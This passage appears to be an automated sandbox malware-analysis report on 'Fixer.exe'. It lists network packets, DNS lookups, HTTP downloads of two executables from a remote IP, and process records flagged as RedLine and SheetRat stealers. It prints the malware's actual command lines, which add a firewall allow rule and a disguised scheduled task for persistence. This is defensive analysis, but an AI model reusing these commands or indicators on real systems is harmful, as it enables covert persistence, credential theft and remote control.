Jan 8, 2025 11:24:41.049401999 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.049449921 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.049541950 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.049565077 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.049681902 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.049700975 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.049762964 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.049817085 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.049873114 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.049932957 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.049997091 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.050029039 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.050179958 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.309398890 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.309698105 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.314785957 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.315001011 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.315058947 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.315135002 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.315176010 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.315243006 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.315336943 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.315366030 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.315423965 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.315464020 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.315514088 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.315586090 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.315619946 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.315653086 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.315777063 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.315814972 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.315926075 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.315965891 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.316016912 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.316059113 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.316170931 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.316242933 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.316246033 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.316346884 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.316365957 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.316431999 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.316483021 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.316579103 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.316607952 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.316632986 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.316746950 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.316751957 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.316860914 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.316906929 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.316941977 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.317055941 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.317061901 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.317168951 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.317219973 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.317339897 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.317389011 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.317409992 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.317528963 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.317542076 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.317596912 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.317648888 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.317687988 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.317801952 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.317878008 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.317945004 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.317994118 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.318109035 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.318169117 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.318284035 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.318346024 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.318464994 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.318506956 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.318614960 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.318620920 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.318731070 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.318815947 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.318907022 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.318955898 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.319089890 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.319143057 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.319169044 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.319288969 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.319401979 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.319493055 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.319519043 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.319567919 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.319691896 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.319755077 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.319777012 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.319830894 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.319892883 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.319906950 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.320025921 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.320102930 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.320105076 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.320183039 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.320220947 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.320257902 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.320362091 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.320384979 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.320502996 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.320547104 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.320569038 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.320686102 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.320804119 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.320805073 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.320873022 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.320924997 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.321036100 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.321155071 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.321157932 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.321269035 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.321274996 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.321389914 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.321504116 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.321585894 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.321620941 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.321738005 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.321809053 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.321856022 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.321978092 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.322000027 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.322109938 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.322217941 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.322278023 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.322328091 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.322439909 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.322556973 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.322571039 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.322680950 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.322793007 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.322808027 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.322918892 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.323030949 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.323052883 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.323163986 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.323183060 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.323292971 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.323375940 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.323496103 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.323509932 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.323626041 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.323709011 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.367178917 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.592348099 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.592453003 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.592514038 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.592628956 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.592678070 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.592780113 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.592858076 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.592892885 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.592982054 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.593095064 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.593130112 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.593250990 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.593329906 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.593343973 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.593455076 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.593561888 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.593564987 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.593672037 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.593806982 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.593838930 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.593955994 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.593976021 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.594082117 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.594149113 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.594240904 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.594274044 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.594386101 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.594475985 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.594500065 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.594624043 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.594670057 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.594733953 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.594850063 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.594911098 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.594966888 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.595138073 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.595158100 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.595201969 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.595330000 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.595434904 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.595434904 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.595546007 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.595603943 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.595716953 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.595787048 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.595902920 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.595953941 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.596016884 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.596120119 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.596134901 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.596189022 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.596298933 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.596373081 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.596482992 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.869509935 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:41.913985014 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:41.963009119 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:42.273185968 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:42.273237944 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:42.273535013 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:42.544094086 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:42.556463957 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:42.591567993 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:42.591842890 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:25:10.906179905 CET	49750	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:11.907445908 CET	49750	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:13.922643900 CET	49750	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:17.937359095 CET	49750	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:25.951253891 CET	49750	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:32.169341087 CET	49751	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:33.184020042 CET	49751	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:35.199263096 CET	49751	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:39.214046001 CET	49751	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:47.227816105 CET	49751	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:53.446026087 CET	49752	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:54.460692883 CET	49752	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:25:56.475889921 CET	49752	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:26:00.490591049 CET	49752	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:26:08.504399061 CET	49752	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:26:14.722490072 CET	49753	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:26:15.737260103 CET	49753	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:26:17.752438068 CET	49753	61069	192.168.11.20	147.185.221.24
Jan 8, 2025 11:26:21.767132998 CET	49753	61069	192.168.11.20	147.185.221.24

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 11:25:10.305643082 CET	57202	53	192.168.11.20	1.1.1.1
Jan 8, 2025 11:25:10.903944016 CET	53	57202	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 11:25:10.305643082 CET	192.168.11.20	1.1.1.1	0x7750	Standard query (0)	et-seattle.gl.at.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 11:25:10.903944016 CET	1.1.1.1	192.168.11.20	0x7750	No error (0)	et-seattle.gl.at.ply.gg		147.185.221.24	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

89.23.97.121:1911

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49749	89.23.97.121	1911	7492	C:\Users\user\Desktop\Fixer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 11:24:38.380534887 CET	87	OUT	GET /6z9uno0baqvej0me.exe HTTP/1.1 Host: 89.23.97.121:1911 Connection: Keep-Alive
Jan 8, 2025 11:24:38.661952019 CET	1289	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Wed, 08 Jan 2025 10:24:38 GMT Data Raw: 37 33 30 34 33 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 73 5d 5b 66 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 12 07 00 00 0a 00 00 00 00 00 00 6e 31 07 00 00 20 00 00 00 40 07 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 07 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 31 07 00 53 00 00 00 00 40 07 00 c4 06 00 00 00 00 00 00 00 00 00 00 00 1e 07 00 e0 11 00 00 00 60 07 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: 73043MZ@!L!This program cannot be run in DOS mode.$PELs][fn1 @@ @1S@` H.textt `.rsrc@@@.reloc`@BP1HXD$W4f2WH33"("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("(.*"(4 [TRUNCATED]
Jan 8, 2025 11:24:40.480566025 CET	58	OUT	GET /FixerNerest.exe HTTP/1.1 Host: 89.23.97.121:1911
Jan 8, 2025 11:24:40.759393930 CET	1289	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Wed, 08 Jan 2025 10:24:40 GMT Data Raw: 36 31 34 66 33 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 73 5d 5b 66 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 10 05 00 00 de 00 00 00 00 00 00 0e 2f 05 00 00 20 00 00 00 40 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 06 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 2e 05 00 4f 00 00 00 00 40 05 00 84 db 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 48 24 00 00 00 20 06 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: 614f3MZ@!L!This program cannot be run in DOS mode.$PELs][f/ @@ @@.O@H$ H.text `.rsrc@@@.reloc @B.H _W4f2WH33"("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("("(*"( [TRUNCATED]

Target ID:	0
Start time:	05:24:16
Start date:	08/01/2025
Path:	C:\Users\user\Desktop\Fixer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Fixer.exe"
Imagebase:	0x670000
File size:	307'712 bytes
MD5 hash:	2ACDA1F917022E9E8081AD69B15330C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.52343849796.0000000000672000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:24:39
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe"
Imagebase:	0x280000
File size:	471'107 bytes
MD5 hash:	2E2BF344AC14353A679CCDD682273BE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SheetRat, Description: Yara detected SheetRat, Source: 00000002.00000002.52853780716.00000000127E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:24:41
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Local\Temp\FixerNerest.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\FixerNerest.exe"
Imagebase:	0x5f0000
File size:	398'579 bytes
MD5 hash:	094EBE271C9334745C238FC2BA77FD38
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:25:04
Start date:	08/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff64dca0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	05:25:04
Start date:	08/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"CMD" netsh advfirewall firewall add rule name="7=PG%XL(%PSA%R" dir=in action=allow program="C:\Windows\System32\xdwdSecurityHealthSystrays.exe" enable=yes & exit
Imagebase:	0x7ff6fd8a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:25:04
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff771540000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:25:04
Start date:	08/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit
Imagebase:	0x7ff6fd8a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
